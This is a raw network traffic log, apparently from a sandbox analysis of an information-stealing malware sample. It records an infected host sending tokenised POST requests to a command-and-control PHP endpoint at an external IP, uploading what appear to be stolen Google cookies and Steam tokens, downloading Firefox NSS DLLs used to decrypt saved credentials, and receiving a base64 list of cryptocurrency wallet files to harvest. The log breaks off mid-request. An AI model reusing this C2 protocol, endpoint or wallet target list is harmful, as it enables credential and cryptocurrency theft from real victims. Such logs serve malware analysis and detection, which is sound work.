name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------HCAAEGIJKEGHIDGCBAEB--
Jun 27, 2024 07:37:11.233628988 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 27, 2024 07:37:11.334774017 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJJJDHDGDAAKECAKJD Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b [TRUNCATED] Data Ascii: ------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="file"------CBKJJJDHDGDAAKECAKJD--
Jun 27, 2024 07:37:12.041687012 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 27, 2024 07:37:12.737992048 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGHCGCAEBFIJKFIDBGH Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 [TRUNCATED] Data Ascii: ------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="file"------FBGHCGCAEBFIJKFIDBGH--
Jun 27, 2024 07:37:13.474935055 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 27, 2024 07:37:13.777589083 CEST	89	OUT	GET /69934896f997d5bb/freebl3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 27, 2024 07:37:13.952105999 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jun 27, 2024 07:37:14.594232082 CEST	89	OUT	GET /69934896f997d5bb/mozglue.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 27, 2024 07:37:14.769922972 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jun 27, 2024 07:37:15.155857086 CEST	90	OUT	GET /69934896f997d5bb/msvcp140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 27, 2024 07:37:15.330718994 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jun 27, 2024 07:37:15.630868912 CEST	86	OUT	GET /69934896f997d5bb/nss3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 27, 2024 07:37:15.810174942 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jun 27, 2024 07:37:17.234563112 CEST	90	OUT	GET /69934896f997d5bb/softokn3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 27, 2024 07:37:17.409985065 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jun 27, 2024 07:37:17.552690983 CEST	94	OUT	GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 27, 2024 07:37:17.727336884 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jun 27, 2024 07:37:18.261782885 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGDAAKFHIEHIECAFBAA Host: 85.28.47.4 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jun 27, 2024 07:37:18.973056078 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 27, 2024 07:37:19.028312922 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFBAEBKJKFIDHJJKJK Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="message"wallets------HDAFBAEBKJKFIDHJJKJK--
Jun 27, 2024 07:37:19.220911026 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jun 27, 2024 07:37:19.224466085 CEST	462	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCBFBGDBKJKECAAKKFH Host: 85.28.47.4 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 2d 2d 0d 0a Data Ascii: ------CFCBFBGDBKJKECAAKKFHContent-Disposition: form-data; name="token"ecb877a6bb37dc847102d5abef9cc8fc21df39b4cce0f6b2dbbeffb49235c7bb9ea37a51------CFCBFBGDBKJKECAAKKFHContent-Disposition: form-data; name="message"files------CFCBFBGDBKJKECAAKKFH--
Jun 27, 2024 07:37:19.405719995 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 05:37:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 27, 2024 07:37:19.435360909 CEST	560	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJ Host: 85.28.47.4 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 62 38 37 37 61 36 62 62 33 37 64 63 38 34 37 31 30 32 64 35 61 62 65 66 39 63 63 38 66 63 32 31 64 66 33 39 62 34 63 63 65 30 66 36 62 32 64 62 62 65 66 66 62 34 39 32 33 35 63 37 62 62 39 65 61 33 37 61 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; 